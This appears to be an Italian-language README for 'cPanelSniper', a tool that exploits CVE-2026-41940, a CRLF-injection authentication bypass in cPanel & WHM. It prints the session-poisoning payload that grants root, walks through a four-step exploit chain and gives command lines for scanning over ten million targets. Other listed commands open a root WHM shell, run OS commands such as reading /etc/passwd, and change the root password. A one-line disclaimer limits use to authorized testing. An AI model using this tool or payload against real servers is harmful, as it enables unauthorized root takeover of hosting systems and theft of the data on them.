
cPanelSniper STABLE - CVE-2026-41940 ottimizzato per oltre 10 milioni di obiettivi
CVE-2026-41940 — Bypass dell'autenticazione cPanel & WHM tramite iniezione CRLF nel file di sessione
Catena di exploit in 4 fasi · Shell WHM interattiva · VERAMENTE STABILE per oltre 10 milioni di target · Zero utilizzo di memoria · solo stdlib
cPanelSniper è un framework di sfruttamento mirato per CVE-2026-41940, una vulnerabilità critica di bypass dell'autenticazione che colpisce cPanel & WHM. La vulnerabilità consente a utenti remoti non autenticati di ottenere accesso WHM a livello root iniettando sequenze CRLF nel file di sessione tramite l'header HTTP Authorization — senza alcuna credenziale valida.
Solo per test di penetrazione autorizzati e programmi di bug bounty.
Questa versione è ottimizzata per la scansione di oltre 10.000.000 di target con ZERO utilizzo di memoria.
| Problema | Versione originale | Versione corretta |
|---|---|---|
| Utilizzo memoria | Carica tutti i target in RAM | Trasmette i target riga per riga (0 memoria) |
| 10M target | OOM → Terminato ❌ | Completamento riuscito ✅ |
| Ripresa | Non supportata | Flag --resume |
| Avanzamento | Nessuna ETA | ETA in tempo reale + velocità + statistiche |
| Risultati | Salvati solo alla fine | Salvati ogni 60s (configurabile) |
--resumesubfinder, httpx, shodanLa causa principale risiede in Session.pm: la funzione saveSession() chiama filter_sessiondata() dopo aver scritto il file di sessione su disco. Ciò significa che i caratteri CRLF incorporati nel valore dell'header Authorization: Basic vengono scritti letteralmente nel file di sessione, iniettando campi controllati dall'attaccante prima della sanificazione.
Flusso normale:
POST /login/ → filter_sessiondata() → scrivi sessione → controllo auth
Flusso vulnerabile:
POST /login/ → scrivi sessione (payload CRLF iniettato) → filter_sessiondata() → il controllo auth legge il file avvelenato
Il valore Authorization: Basic decodificato è:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Questi campi vengono scritti direttamente nel file di sessione su disco. Quando vengono riletti, cPanel tratta la sessione come una sessione root completamente autenticata.
┌─────────────────────────────────────────────────────────────┐
│ Fase 0 — Scoperta del nome host canonico │
│ GET /openid_connect/cpanelid → 307 → nome host reale │
├─────────────────────────────────────────────────────────────┤
│ Fase 1 — Creazione sessione preauth │
│ POST /login/?login_only=1 (credenziali errate) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Fase 2 — Iniezione CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd scrive i campi CRLF nel file di sessione │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Fase 3 — Propagazione (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Attiva il flush raw→cache — i campi iniettati diventano attivi │
│ ← 401 Token negato (previsto) │
├─────────────────────────────────────────────────────────────┤
│ Fase 4 — Verifica accesso root WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = COMPROMESSO │
└─────────────────────────────────────────────────────────────┘
| Ramo | Vulnerabile | Corretta |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
Nessuna installazione pip richiesta. Solo stdlib Python 3.8+ puro.
# Target singolo — solo scansione
python3 cPanelSniper.py -u https://target.com:2087
# Target singolo — shell interattiva dopo il bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Elenco di target ampio — oltre 10M di target (VERAMENTE STABILE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Riprendi scansione interrotta
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Elenca tutti gli account cPanel sul server
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Esegui comando OS
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Ottieni informazioni sul server (hostname, carico, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Ottieni versione cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Cambia password root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interattiva
python3 cPanelSniper.py -u https://target.com:2087 --action shell